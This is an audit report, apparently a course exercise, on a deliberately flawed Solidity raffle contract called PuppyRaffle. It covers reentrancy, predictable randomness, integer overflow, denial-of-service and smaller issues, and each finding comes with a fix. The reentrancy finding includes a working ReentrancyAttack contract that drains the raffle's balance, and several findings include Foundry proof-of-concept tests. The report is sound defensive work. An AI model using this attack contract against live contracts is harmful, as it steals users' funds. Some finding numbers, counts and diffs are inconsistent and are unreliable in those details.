PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

June 6, 2025

Protocol Audit Report

Starkxun

June 6, 2025

Prepared by: Cyfrin Lead Auditors: - Starkxun

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
  - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ #– PuppyRaffle.sol

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

I loved auditing this code base. Starkxun is a wizard at writing intentionally bad code!

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raflle balance

Description: The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        ↪  can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
        ↪  refunded, or is not active");

@>          payable(msg.sender).sendValue(entranceFee);
@>          players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could hava `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle contracts could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls the `PuyppyRaffle::refund` from their attack contract, draining the contract balance.

Prrof of Code:

Code

Place the following into the `PuppyRaffleTest.t.sol`

```
    function test_ReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attackerContract = new
↪   ReentrancyAttack(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance =
↪   address(attackerContract).balance;
        uint256 statingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ",
        ↪   startingAttackContractBalance);
        console.log("starting puppyRaffle contract balance: ",
        ↪   statingContractBalance);

        console.log("endding attacker contract balance: ",
        ↪   address(attackerContract).balance);
        console.log("endding puppyRaffle contract balance: ",
        ↪   address(puppyRaffle).balance);
    }
```

And this contract as well

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
```

```
    function attack() external payable {
        address [] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }

}
```

Recommended Mitigation: To prevent this, we should hava the `PupppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emmision up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
↪   can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
↪   refunded, or is not active");

+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
```

```
-         players[playerIndex] = address(0);
-         emit RaffleRefunded(playerAddress);
      }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block`,`timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
```

```
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter the new raffle, and conclude the raffle 3. totalFees will be:

```
    totalFees = totalFees + uint64(fee);
    // substituted
    totalFees = 800000000000000000 + 17800000000000000000;
    // due to overflow, the following is now the case
    totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in PuppyRaffle::withdrawFees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
↪  are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
```

```
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second
    ↪  raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. “‘diff
    - pragma solidity ^0.7.6;
    - pragma solidity ^0.8.18; “Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin'sSafeMath‘ to prevent integer overflows.
2. Use a `uint256` instead of a `uint64` for `totalFees`. “‘diff
    - uint64 public totalFees = 0;
    - uint256 public totalFees = 0; “‘
3. Remove the balance check in `PuppyRaffle::withdrawFees` “‘diff
    - require(address(this).balance == uint256(totalFees), “PuppyRaffle: There are currently players active!”); “‘ We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for no-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
    function getActivePlayerIndex(address player) external view returns
    ↪  (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

```
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enter the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` return 0
3. User thinks they have not entered correctly due to the documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

[L-2] Looping through players array to check for dumplicates in `PuppyRaffle::enterRaffle`is a pential denial of service (DOS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players`array to check the dumplicates, However,the longer the `PuppyRaffle::players` array is, the more checks a new players will have to make.This means the gas costs for the players who enter right when the raffle stats will be dramatically lower than thoese who enter later. Every additional address in the `players` array, is a additional check the loop will hava to make.

```
// Audit: DoS Attack
@>        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
                ↪  player");
            }
        }
```

Impact: The gas costs for the raffle cntracts will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attack might make the PuppyRaffle::entrants array so big. that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This more than 3x more expensive for the second 100 players.

PoC Place the following test into PuppyRaffleTest.t.sol.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i=0;i<playersNum;i++){
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee *
↪   players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("gas cost of the first 100 players: ", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i=0;i<playersNum;i++){
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee *
↪   players.length}(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
↪   tx.gasprice;

        console.log("gas cost of the second 100 players: ", gasUsedSecond);
```

```
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are few recomendatoins.

1. Consider allowing duplicates. Users can make new wallet addresses anyways. So a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet.
2. Consider use a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
↪  Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId,
↪  "PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
↪  player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
```

```
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
↪  "PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[L-3] Ambiguous Business Logic in `getActivePlayerIndex`

Description: The function `getActivePlayerIndex` return `0` in two diffferent cases: 1. When the input address matches the player at index 0 2. When the player does not exist in the active player list

This ambiguity can cause unexpected behavior in business logic, especially when `0` is interpreted as a valid index.

```
    function getActivePlayerIndex(address player) external view returns
    ↪  (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A caller cannot distinguish between "player at index 0" and "player not found", which may lead to a logic bugs such as issuing refunds to the wrong address or preventing legitimate refunds.

Proof of Concept:

1. Player at index 0 will return `0`
2. Any no-existent player will also return `0`, leading to a potential confusion or incorrect assumptions.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_LogicForGetActivePlayerIndex() public {
        // 1. Initialize the contract and players
        uint256 playersNum = 4;
        address[] memory players = new address[](playersNum);
        for (uint256 i=0;i<playersNum;i++){
```

```
            players[i] = address(i+1);
            vm.deal(players[i], 1 ether); // Give every player 1 ether
        }

        // Suppose entranceFee is ether
        uint256 entranceFee = 1 ether;

        // 2. Three players join the raffle
        address[] memory player1 = new address[](1);
        player1[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee}(player1);

        address[] memory player2 = new address[](1);
        player2[0] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee}(player2);

        address[] memory player3 = new address[](1);
        player3[0] = playerThree;
        puppyRaffle.enterRaffle{value: entranceFee}(player3);


        // 3. Check their indexes
        assert(puppyRaffle.getActivePlayerIndex(playerOne)==0);
        assert(puppyRaffle.getActivePlayerIndex(playerTwo)==1);
        assert(puppyRaffle.getActivePlayerIndex(playerThree)==2);


        // 4. refund playerOne
        uint256 indexOfPlayer =
↪   puppyRaffle.getActivePlayerIndex(playerOne);
        uint256 balanceBefore = address(playerOne).balance;

        vm.prank(playerOne);
        puppyRaffle.refund(indexOfPlayer);

        assertEq(address(playerOne).balance, balanceBefore + entranceFee,
        ↪  "refund Failed!");

        // 5. refund PlayerTWo
        uint256 indexOfPlayer2 =
↪   puppyRaffle.getActivePlayerIndex(playerTwo);
        uint256 balanceBefore2 = address(playerTwo).balance;
```

```
        vm.prank(playerTwo);
        puppyRaffle.refund(indexOfPlayer2);

        assertEq(address(playerTwo).balance, balanceBefore2 + entranceFee,
        ↪  "refund Failed!");

        // 6. Now both refunded players return index 0 — same as a
        ↪  non-participant
        assert(puppyRaffle.getActivePlayerIndex(playerOne)==0);
        assert(puppyRaffle.getActivePlayerIndex(playerTwo)==0);
        assert(puppyRaffle.getActivePlayerIndex(playerFour)==0);
    }
```

Recommended Mitigation: Avoid exposing index-based refund logic. Use the `msg.sender` directly to locate the player internally and ensure refund integrity.

```
  function refund(uint256 playerIndex) public {
-       address playerAddress = players[playerIndex];
-       require(playerAddress == msg.sender, "PuppyRaffle: Only the player
↪  can refund");
-       require(playerAddress != address(0), "PuppyRaffle: Player already
↪  refunded, or is not active");

-       payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);

+     for (uint256 i = 0; i < players.length; i++) {
+         if (players[i] == msg.sender) {
+             players[i] = address(0);
+             payable(msg.sender).sendValue(entranceFee);
+             emit RaffleRefunded(msg.sender);
+             return;
+         }
+     }
+     revert("PuppyRaffle: Player not active");
  }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Instance: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

Informational/Non-Crits

[I-1] Solidity program should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

```
pragma solidity ^0.7.6;
```

[I-3] Using an outdated version of Solidity is not recommend

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
    feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
    previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
    feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```diff

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); "
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
↪   POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```